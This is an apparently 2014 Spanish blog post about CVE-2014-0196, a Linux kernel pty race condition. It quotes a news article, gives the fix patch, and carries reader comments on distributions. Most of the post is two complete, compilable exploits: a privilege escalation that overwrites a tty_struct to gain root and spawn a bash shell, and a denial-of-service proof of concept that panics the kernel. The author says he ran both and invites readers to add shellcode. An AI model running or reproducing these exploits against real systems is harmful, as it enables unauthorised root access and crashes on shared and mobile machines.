HACK THE SYSTEM: Grave fallo de seguridad en Linux kernel - 2.6.31-rc3 hasta 3.15-rc4 | Exploit + archivo fixed n_tty.c CVE-2014-0196

RSS

 Seguime por RSS

14 may 2014

Grave fallo de seguridad en Linux kernel - 2.6.31-rc3 hasta 3.15-rc4 | Exploit + archivo fixed n_tty.c CVE-2014-0196

Es un fallo introducido en el 2009 que pasó desapercibido, acá publico dos exploit, el primero deberia dar root, y el segundo (mas efectivo) no da root pero crea un panic (debería el que sepa añadir una shell al espacio que sobreescribe en memoria).


Maintainers of the Linux kernel have patched one of the more serious security bugs to be disclosed in the open source operating system in recent months. The five-year-old code-execution hole leaves computers used in shared Web hosting services particularly vulnerable, so users and administrators should make sure systems are running updated versions that contain a fix.
The memory-corruption vulnerability, which was introduced in version 2.6.31-rc3, released no later than 2009, allows unprivileged users to crash or execute malicious code on vulnerable systems, according to the notes accompanying proof-of-concept code available here. The flaw resides in the n_tty_write function controlling the Linux pseudo tty device.



"This is the first serious privilege escalation vulnerability since the perf_events issue (CVE-2013-2049) in April 2013 that is potentially reliably exploitable, is not architecture or configuration dependent, and affects a wide range of Linux kernels (since 2.6.31)," Dan Rosenberg, a senior security researcher at Azimuth Security, told Ars in an e-mail. "A bug this serious only comes out once every couple years." As Ars reported in May 2013, the then-two-year-old CVE-2013-2049 continued to imperil users more than a month after Linux maintainers quietly released a patch for the gaping hole. While the vulnerability can be exploited only by someone with an existing account, the requirement may not be hard to satisfy in hosting facilities that provide shared servers, Rosenberg said. It could also come handy in multi-stage attacks that exploit a variety of bugs that, when combined, give the attacker unfettered control over a targeted system. As others have pointed out, the vulnerability also has the potential to affect Google's Android and Chrome OSes.
Linux maintainers have committed a fix here, and the patch has already been released for the Ubuntu distributions. Officials with Red Hat say Red Hat Enterprise Linux 5 is not vulnerable to the issue, but updates for Red Hat Enterprise Linux 6 and Red Hat Enterprise MRG 2 may be released in the future. The status of Debian is here.
The availability of proof-of-concept code exploiting the flaw is a good indication that it's not hard for blackhat hackers to take advantage of organizations running vulnerable servers. Administrators and end users should ensure the systems they oversee or rely on are running up-to-date versions.

Fuente: http://arstechnica.com/security/2014/05/linux-gets-fix-for-code-execution-flaw-that-went-unpatched-since-2009/

Antes de seguir, quiero recordarles, aquel momento en que Alan Cox se despidio de Linux, en una pelea con Torvalds, por ESTE tema, lo acusaron de codigo viejo en el subsistema tty con tal de mantener Emacs... les dejo la nota para que lo lean:

https://lwn.net/Articles/343828/

(Quien mierda usa Emacs existiendo VIM)

No es dificil de entender, y lo mas grave si, es que afecta a Android, y como sabemos, las actualizaciones no son el fuerte de ese egendro para celulares, asi que aun los que posean 4.4.2 tengan cuidado con lo que bajan o ejecutan, porque pueden tener panic en su movil o bien que alguien de forma remota gane acceso root.

Yo mismo probé los exploit en mi sistema, el primero solo genera un DoS de CPU y RAM que no llega a mayores, aunque deberia dar root, el segundo, me genero un panic instantaneo y me crasheo el sistema. Usando un kernel 3.2.58 vanilla.

Si bien el parche ya se envio a git, fue solo a la rama de desarrollo, por lo tanto, ninguno de los kernel de kernel.org, al dia de la fecha, estan parcheados. He probado los mismos exploit en el kernel de RHEL6.5 2.6.32-431.17.1 y debo decir que el primero sale, o sea, termina sin hacer DoS, y el segundo no hace nada, asi que bien por RHEL, y los que tengamos servidores corriendo CentOS o RHEL.

Dejo a continuacion ambos exploit y una reflexión... este no fue el año en paz de Linux... OpenSSL, GNUtls y ahora esto.... vamos que mucho se habla de Windows pero... pocos fallos tan criticos se conocen a menudo que generen panic o permitan acceso SYSTEM (el root de windows).

Debería dar root o causar DoS:


/*
 * CVE-2014-0196: Linux kernel <= v3.15-rc4: raw mode PTY local echo race
 * condition
 *
 * Slightly-less-than-POC privilege escalation exploit
 * For kernels >= v3.14-rc1
 *
 * Matthew Daley <mattd@bugfuzz.com>
 *
 * Usage:
 *   $ gcc cve-2014-0196-md.c -lutil -lpthread
 *   $ ./a.out
 *   [+] Resolving symbols
 *   [+] Resolved commit_creds: 0xffffffff81056694
 *   [+] Resolved prepare_kernel_cred: 0xffffffff810568a7
 *   [+] Doing once-off allocations
 *   [+] Attempting to overflow into a tty_struct...............
 *   [+] Got it :)
 *   # id
 *   uid=0(root) gid=0(root) groups=0(root)
 *
 * WARNING: The overflow placement is still less-than-ideal; there is a 1/4
 * chance that the overflow will go off the end of a slab. This does not
 * necessarily lead to an immediate kernel crash, but you should be prepared
 * for the worst (i.e. kernel oopsing in a bad state). In theory this would be
 * avoidable by reading /proc/slabinfo on systems where it is still available
 * to unprivileged users.
 *
 * Caveat: The vulnerability should be exploitable all the way from
 * v2.6.31-rc3, however relevant changes to the TTY subsystem were made in
 * commit acc0f67f307f52f7aec1cffdc40a786c15dd21d9 ("tty: Halve flip buffer
 * GFP_ATOMIC memory consumption") that make exploitation simpler, which this
 * exploit relies on.
 *
 * Thanks to Jon Oberheide for his help on exploitation technique.
 */

#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <pthread.h>
#include <pty.h>
#include <stdio.h>
#include <string.h>
#include <termios.h>
#include <unistd.h>

#define TTY_MAGIC 0x5401

#define ONEOFF_ALLOCS 200
#define RUN_ALLOCS    30

struct device;
struct tty_driver;
struct tty_operations;

typedef struct {
    int counter;
} atomic_t;

struct kref {
    atomic_t refcount;
};

struct tty_struct_header {
    int    magic;
    struct kref kref;
    struct device *dev;
    struct tty_driver *driver;
    const struct tty_operations *ops;
} overwrite;

typedef int __attribute__((regparm(3))) (* commit_creds_fn)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* prepare_kernel_cred_fn)(unsigned long cred);

int master_fd, slave_fd;
char buf[1024] = {0};
commit_creds_fn commit_creds;
prepare_kernel_cred_fn prepare_kernel_cred;

int payload(void) {
    commit_creds(prepare_kernel_cred(0));

    return 0;
}

unsigned long get_symbol(char *target_name) {
    FILE *f;
    unsigned long addr;
    char dummy;
    char name[256];
    int ret = 0;

    f = fopen("/proc/kallsyms", "r");
    if (f == NULL)
        return 0;

    while (ret != EOF) {
        ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, name);
        if (ret == 0) {
            fscanf(f, "%s\n", name);
            continue;
        }

        if (!strcmp(name, target_name)) {
            printf("[+] Resolved %s: %p\n", target_name, (void *)addr);

            fclose(f);
            return addr;
        }
    }

    printf("[-] Couldn't resolve \"%s\"\n", name);

    fclose(f);
    return 0;
}

void *overwrite_thread_fn(void *p) {
    write(slave_fd, buf, 511);

    write(slave_fd, buf, 1024 - 32 - (1 + 511 + 1));
    write(slave_fd, &overwrite, sizeof(overwrite));
}

int main() {
    char scratch[1024] = {0};
    void *tty_operations[64];
    int i, temp_fd_1, temp_fd_2;

    for (i = 0; i < 64; ++i)
        tty_operations[i] = payload;

    overwrite.magic                 = TTY_MAGIC;
    overwrite.kref.refcount.counter = 0x1337;
    overwrite.dev                   = (struct device *)scratch;
    overwrite.driver                = (struct tty_driver *)scratch;
    overwrite.ops                   = (struct tty_operations *)tty_operations;

    puts("[+] Resolving symbols");

    commit_creds = (commit_creds_fn)get_symbol("commit_creds");
    prepare_kernel_cred = (prepare_kernel_cred_fn)get_symbol("prepare_kernel_cred");
    if (!commit_creds || !prepare_kernel_cred)
        return 1;

    puts("[+] Doing once-off allocations");

    for (i = 0; i < ONEOFF_ALLOCS; ++i)
        if (openpty(&temp_fd_1, &temp_fd_2, NULL, NULL, NULL) == -1) {
            puts("[-] pty creation failed");
            return 1;
        }

    printf("[+] Attempting to overflow into a tty_struct...");
    fflush(stdout);

    for (i = 0; ; ++i) {
        struct termios t;
        int fds[RUN_ALLOCS], fds2[RUN_ALLOCS], j;
        pthread_t overwrite_thread;

        if (!(i & 0xfff)) {
            putchar('.');
            fflush(stdout);
        }

        if (openpty(&master_fd, &slave_fd, NULL, NULL, NULL) == -1) {
            puts("\n[-] pty creation failed");
            return 1;
        }

        for (j = 0; j < RUN_ALLOCS; ++j)
            if (openpty(&fds[j], &fds2[j], NULL, NULL, NULL) == -1) {
                puts("\n[-] pty creation failed");
                return 1;
            }

        close(fds[RUN_ALLOCS / 2]);
        close(fds2[RUN_ALLOCS / 2]);

        write(slave_fd, buf, 1);

        tcgetattr(master_fd, &t);
        t.c_oflag &= ~OPOST;
        t.c_lflag |= ECHO;
        tcsetattr(master_fd, TCSANOW, &t);

        if (pthread_create(&overwrite_thread, NULL, overwrite_thread_fn, NULL)) {
            puts("\n[-] Overwrite thread creation failed");
            return 1;
        }
        write(master_fd, "A", 1);
        pthread_join(overwrite_thread, NULL);

        for (j = 0; j < RUN_ALLOCS; ++j) {
            if (j == RUN_ALLOCS / 2)
                continue;

            ioctl(fds[j], 0xdeadbeef);
            ioctl(fds2[j], 0xdeadbeef);

            close(fds[j]);
            close(fds2[j]);
        }

        ioctl(master_fd, 0xdeadbeef);
        ioctl(slave_fd, 0xdeadbeef);

        close(master_fd);
        close(slave_fd);

        if (!setresuid(0, 0, 0)) {
            setresgid(0, 0, 0);

            puts("\n[+] Got it :)");
            execl("/bin/bash", "/bin/bash", NULL);
        }
    }
}

Ahora el que me genera panic:

/* CVE-2014-0196 DOS PoC [Written May 5th, 2014]
 *    by DigitalCold <digitalcold0@gmail.com>
 *
 * Note: this crashes my i686 Gentoo system running 3.12.14
 * and an old Backtrack 5r3 running 3.2.6. Any advice on how to gain
 * code exec would be greatly appreciated.
 *
 * Usage: gcc -O2 -o pty pty.c -lutil && ./pty
 *
 * CVE: http://people.canonical.com/~ubuntu-security/cve/2014/CVE-2014-0196.html
 * Bug discussion: http://bugzillafiles.novell.org/attachment.cgi?id=588355
 * How-to-pty: http://rachid.koucha.free.fr/tech_corner/pty_pdip.html
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <time.h>
#include <sys/mman.h>

#include <pty.h>
#include <termios.h>
#include <fcntl.h>

// used to sync the two writer processes
volatile static int * Sync = NULL;

int main() {
  int master, res;
  struct termios tp;

  Sync = mmap(NULL, sizeof *Sync, PROT_READ | PROT_WRITE,
                MAP_SHARED | MAP_ANONYMOUS, -1, 0);

  if(Sync == MAP_FAILED)
  {
    perror("Sync mmap");
    exit(1);
  }

  // hold
  *Sync = 0;

  // create a child with a new PTY connection
  pid_t child = forkpty(&master, NULL, NULL, NULL);

  if(child == -1) {
    perror("forkpty");
    exit(1);
  }
  // parent
  else if(child > 0) {
    printf("CVE-2014-0196 DOS PoC by DigitalCold\n", getpid(), child);
    printf("[+] New PTY - Master PID %d, Slave PID %d\n", getpid(), child);
    printf("[+] Starting bombing run...\n");

    int flags = fcntl(master, F_GETFL, 0);
    fcntl(master, F_SETFL, flags | O_NONBLOCK);

    // synchronizer process
    int doSync = fork();

    if(!doSync) { // child
      // sync the two processes (CLK)
      while(1) {
        sleep(1);
        *Sync = 1; // release
        sleep(1);
        *Sync = 0;
      }
    }
    else if(doSync < 0)
    {
      perror("sync fork");
      exit(1);
    }

    // used for printing status
    int cnt = 0;
    char readBuf[256<<3];

    while(1) {
      while(!*Sync) usleep(1000);
      if(write(master, readBuf, sizeof readBuf) < 0) {
        if(errno != EAGAIN) {
          perror("master write");
          exit(1);
        }
      }
     
      // shovel the input
      if(read(master, readBuf, sizeof readBuf) < 0) {
        if(errno != EAGAIN) {
          perror("master read");
          exit(1);
        }
      }

      if(cnt >= 200000) {
        fprintf(stderr, "\n[-] No crash? Maybe you're not vulnerable...\n");
        exit(1);
      }
      else if(cnt++ % 200 == 0)
        fprintf(stderr, ".");
    }
  }
  else { // child
    char discard[1024];

    if(tcgetattr(0, &tp) == -1)
        perror("tcgetattr");

    // enable raw mode with ECHO to trigger the bug
    cfmakeraw(&tp);
    tp.c_lflag |=  ECHO;

    if(tcsetattr(0, TCSAFLUSH, &tp) == -1)
        perror("tcsetattr");

    // make stdin and stdout non-blocking
    int flags = fcntl(0, F_GETFL, 0);
    fcntl(0, F_SETFL, flags | O_NONBLOCK);
    flags = fcntl(1, F_GETFL, 0);
    fcntl(1, F_SETFL, flags | O_NONBLOCK);

    // construct a lengthy crash string
    size_t badStrSz = 256<<2;
    char * badStr = malloc(badStrSz);
    int i;

    for(i = 0; i < badStrSz; i++)
      badStr[i] = 'A';

    // slave loop
    while(1) {
      while(!*Sync) usleep(1000);
      if(write(1, badStr, badStrSz) < 0)
        if(errno != EAGAIN)
          exit(1);

      // eat the incoming data
      if(read(0, discard, sizeof discard) < 0)
        if(errno != EAGAIN)
          exit(1);
    }
  }

  return 0;
}

Para los que quieran parchear su kernel vanilla (yo...), les dejo el code que deben modificar:


1 files changed, 4 insertions, 0 deletions
diff --git a/drivers/tty/n_tty.c b/drivers/tty/n_tty.c
index 41fe8a0..fe9d129 100644
--- a/drivers/tty/n_tty.c
+++ b/drivers/tty/n_tty.c
@@ -2353,8 +2353,12 @@ static ssize_t n_tty_write(struct tty_struct *tty, struct file *file,
                        if (tty->ops->flush_chars)
                                tty->ops->flush_chars(tty);
                } else {
+                       struct n_tty_data *ldata = tty->disc_data;
+
                        while (nr > 0) {
+                               mutex_lock(&ldata->output_lock);
                                c = tty->ops->write(tty, b, nr);
+                               mutex_unlock(&ldata->output_lock);
                                if (c < 0) {
                                        retval = c;
                                        goto break_out;

Eso es un patch, pero facilmente pueden editar el .c usando vim o el que gusten



9 comentarios:

  1. Me pregunto si todos los problemas que tiene linux últimamente no estarán relacionados con las nuevas formas de desarrollar: Adelante+adelante+adelante+..., y no asentar bien lo ya establecido.

    Parece que todo es una carrera por llegar, pero ¿a donde?, kde por ejemplo, ¡si! el mejor escritorio y todo lo que quieran, pero después de 13 versiones y 5 años de desarrollo, se dan cuenta de que nepomuk es un asco (si una búsqueda te arroja tantos datos que tienes que buscar en la búsqueda, ¿que es lo que esta haciendo?), yo mismo, que solo soy un usuario me di cuenta en el 4.2. Y ahora lo sustituyo por baloo y empiezo a crear otra cosa nueva y lo mejor, no le doy al usuario la posibilidad de no instalarlo, no lo quieres lo desactivas, pero te lo tragas.
    Arch Linux, una distribución siempre en el filo de la navaja se convierte en una de las más usadas, y el personal dice que no tiene fallos, ¡vamos! ¡vamos!, si es una beta eterna (que si, usuario de archlinux que ya sé que llevas 5 años y no has tenido problemas).

    Y aquello de los principios unix (una sola tarea pero bien, modularidad,..), hay tenemos a gnome, que necesita como dependencia el sistema de arranque, y no cualquiera, uno en particular ¡ja! o grub2, lo que hay que liar para tener un gestor de arranque.

    Parece que estamos en lo del chiste del niño con la bicicleta:

    "Papá, papá, sin ruedines"

    "Papá, papá, con una mano"

    "Papá, papá, sin manos"

    "Papá, papá, sin dientes"

    En fin, ya me he desahogado, si lo pongo en otro lado, ¡me comen!
    Saludos.

    ResponderEliminar
    Respuestas
    1. Jajajaja me has hecho reir pero tienes mucha razon en lo que dices y si, creo que es un poco de adelante adelante, querer cagar mas alto de lo que da el culo,otro poco de "como todo va bien, no se detengan en detalles", de hecho el fallo de las tty se dio porque el mago Alan Cox dejo el proyecto y porque fue?, porque le dijeron que no podia ser que no pudiera, etc, o sea, lo querian apurar, lo descalificaron y se fue..

      Es patetico que gnome dependa de un arranque, es patetico nepomuk, siempre lo desactive, encima carga mysql y pesa mucho en ram, la verdad que cuando busco algo uso locate o find, o grep si quiero ver en que texto se aloja, en que linea.

      Hay algo, que dijo Torvalds y Greg, que no comparto, que consiste en que llamaron a los de OpenBSD monos pajeros con el tema seguridad y no se ocupan de progresar, que ellos veian el tema seguridad como un fallo mas, un bug, y darle otra entidad seria darle mas importancia a la gente de seguridad que a los demas, asi que los fallos para ellos son todos fallos, no seguridad.

      Yo no comparto para nada ese enfoque, porque un bug te puede generar que algo no ande como debe, pero un fallo de seguridad (bug que comprometa seguridad) te puede provocar perdida de datos, intrusiones, etc, algo GRAVE realmente si sos una empresa.

      Esta falla se introdujo en 2.6.31 asi que no creo que sea el tema de GO GO GO, sino mas bien que un error tras otro, la salida de Alan Cox fue un error gravisimo, lo mismo la de Con Kolivas, lo mismo que la introduccion del manco de Ben para el kernel 3.2.x que es el mismo que mantiene el de Debian (es lento el tipo, muy lento y ha metido regresiones que yo mismo reporte).

      Lo de OpenSSL era esperable, digo, algo vital y complejo no tenia soporte economico?, como es eso?, a que jugamos?, tanto hablan de la NSA pero nada hacen, se preocupan mucho de algunos temas pero no se OCUPAN de ellos, ahora OpenSSL recibe apoyo economico hasta de Microsoft!!!.

      GNUTLS lo mismo, se dio en iOS, y pienso lo mismo, todos hacemos algo por amor al arte, pero.... la gente trabaja mas feliz con un sueldo bien pagado, en eso, le doy mi derecha a Microsoft.... al menos mantiene felices a sus developers y no olvidemos, que la evolucion de Windows VOSTA a WIndows Seven, se dio proque contrataron developers de Debian para mejorar el kernel, y lo hicieron, o sea, el dinero mueve al mundo.... y no solo del software.

      GRUB2? otra basura, 0.97 andaba perfecto para mi, sencillo de editar, etc, que es eso de templates?, mi dios, es un puto bootloader, no un desktop.... en fin, Slackware usa LILO (?) y BSD Style, Gentoo no considera estable a todos los grub mira el enlace: http://packages.gentoo.org/package/sys-boot/grub

      Tampoco a systemd: http://packages.gentoo.org/package/sys-apps/systemd

      Y mira que lista enorme con el kernel: http://packages.gentoo.org/category/sys-kernel

      Debian hizo pesimo en adoptar systemd y Canonical en mearse encima y no decir "no, las pelotas, nosotros seguiremos con upstart, no dependeremos mas de Debian", pero no, es mas facil hacer lo que Debian ya masticó.... ahi vemos que peso tiene Canonical (ninguno).

      Me he desahogado yo tambien jaja, saludos

      Eliminar
    2. El escritorio de GNU/Linux está en una fase de transición dolorosamente larga e inoportuna ahora que ha salido Windows 8. El otro día acudí a casa de un tío que no podía ver flash en Ubuntu, y cuando llegué vi que tenía Ubuntu 8.10 (encima no era la versión LTS, esa era la previa). Pues bien, ese Ubuntu 8.10 totalmente desactualizado iba bastante bien en 512 de Ram, y eso que gastaba en paridas que no utilizaba: bluetooth, network manager... Tuve que instalarle una versión reciente y ahora flash funciona, pero obviamente ya no tiene Gnome2, sino LXDE (limitadísimo en algunas cosas y con mucho peor aspecto), e incluso así va sensiblemente peor (y sin mierdas de bluetooth y demás, si le pongo eso ya supongo que peta). O sea, que vendemos Linux como un sistema para revivir máquinas viejas pero a día de hoy el escritorio de 2008 es mejor que el de 2014 para máquinas con bajos recursos.
      Salvo con CentOS, ningún escritorio ha dejado de darme problemas: XFCE ya me ha fundido tres pendrives y los desarrolladores pasan de todo, KDE el escritorio donde pasan cosas raras en cada sesión (instalé Mageia 2 con KDE una vez, y después de instalar varios programas desde el repositorio, reinicié... y ya no había nada instalado, como si estuviera congelado, xD), LXDE no tiene programas para el control de energía y ya no está soportado, ahora es LXQt. También quiero comentar lo increíblemente absurdo que resulta no poder instalar CentOS en la máquina del tío al que fui porque Anaconda no arranca en 512 (como dijiste, SynFlag; se podría instalar primero la base y luego el escritorio, pero demasiada movida) y que Gnome, KDE y Unity tengan la cara de decir que sus escritorios funcionan en 512 MB pero que para más comodidad se necesita 1 GB. Supongo que por más comodidad se refieren a poder abrir aplicaciones sin que pienses que el sistema se ha petado...

      En fin, voy a tener que darle una nueva oportunidad a FreeBSD, porque ahora mismo en Linux distribuciones 100% fiables solo veo dos: derivadas de Red Hat (o sea, ayudar a Red Hat a sacar pasta y crear más estándares de mierda, aparte de que no han abierto la boca con lo del NSA) o Slackware, y en ambas la mayoría de aplicaciones que quiero instalar son de fuera del repositorio. Gentoo me da que va a dar 100 y un fallos de dependencias, es mi impresión al ver tanta paquetería repetida. Aparte de que soy un usuario normal y corriente, sin conocimientos informáticos profesiones, instalar eso puede ser una odisea...

      PD: Mientras escribo esto, Debian solo ha corregido el error del kernel para su rama estable. Yo, que estoy con el kernel estable-backports porque mi Nvidia Optimus lo necesita, sigo con el fallo de seguridad. Me da que lo de LTS no ha sido una buena idea, el año que viene Debian tendrá ¡¡9!! ramas oficiales y mientras tantos mis reportes de bugs aún siguen cayendo en saco roto.

      Eliminar
    3. Hay una forma de instalar CentOS (te recomiendo Stella para desktop, lo ando usando y anda una bala y 0 conflicto), modificando algo del live para que anaconda no haga el chequeo de ram :)

      http://superuser.com/questions/422112/how-do-i-force-centos-to-do-a-graphical-install-without-meeting-the-memory-requi

      Probaste Zenwalk?. Nunca escuche que XFCE queme pendrive, los habra jodido en formato, pero quemarlos?, nunca, eso no es posible realmente

      Eliminar
    4. Y si..... Linux ya no es el OS liviano:

      systemd, gnome shell, unity, firewalld, ufwd, selinux, pulseaudio, todo hace que sea un carro

      Eliminar
    5. Yo llamo "quemar" a perder los datos y dejar el pendrive tocado (no soy muy técnico, xD): se pueden meter cosas, pero a veces va y a veces no. Tumbler, lo que crea miniaturas de archivos, es una mierda, SpaceFM le pega bastante a Thunar. Me cuesta creer que soy el único, XFCE me ha dado problemas con eso durante mucho tiempo en diferentes distros...

      No he probado Zenwalk, me gusta su filosofía de solo un programa para cada cosa en repositorios (no es lo ideal, aunque visto lo visto si funciona perfecto genial), pero parece que ahora están en versión beta para una iso de 64 bits, por ahora solo tienen la de 32.

      Eliminar
    6. En una epoca XFCE era genial, no se como va ahora, el tema es que depende mucho de GTK y como sabemos eso lo domina gnome3.

      Eliminar
  2. Saludos,

    En Scientific Linux me muestra lo siguiente al probar las vulnerabilidades.

    el primero,

    ~]$ ./a.out
    [+] Resolving symbols
    [+] Resolved commit_creds: (nil)
    [+] Resolved prepare_kernel_cred: (nil)

    de ahí no pasó.

    El segundo, en realidad me reí mucho con este, por el resultado que mostraba xD

    ~]$ gcc -O2 -o pty fallo2.c -lutil && ./pty
    CVE-2014-0196 DOS PoC by DigitalCold
    [+] New PTY - Master PID 3695, Slave PID 3696
    [+] Starting bombing run...
    ........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
    [-] No crash? Maybe you're not vulnerable...

    Uso el kernel 2.6.32

    Comparto lo mencionado en los comentarios, muchas distros, y muchas frustraciones... Entiendo se perdió el enfoque por querer expandir...

    ResponderEliminar
    Respuestas
    1. Si, usa el mismo kernel que CentOS, el que viene (yo no lo uso de mañoso), mata el primero enseguida y el segundo no tiene efecto, lo se, esta parcheado hace rato, ahora, es curioso (yo no soy un capo en C), el primero, incluso en kernel fixeados, se consume un porcentaje de CPU y nunca se detiene, pero con el kernel de centos o Scientific, muere, como que lo termina, me encantaria saber que funcion le han metido desde redhat a su kernel, porque ni Debian tiene eso

      Eliminar

Dejá tu comentario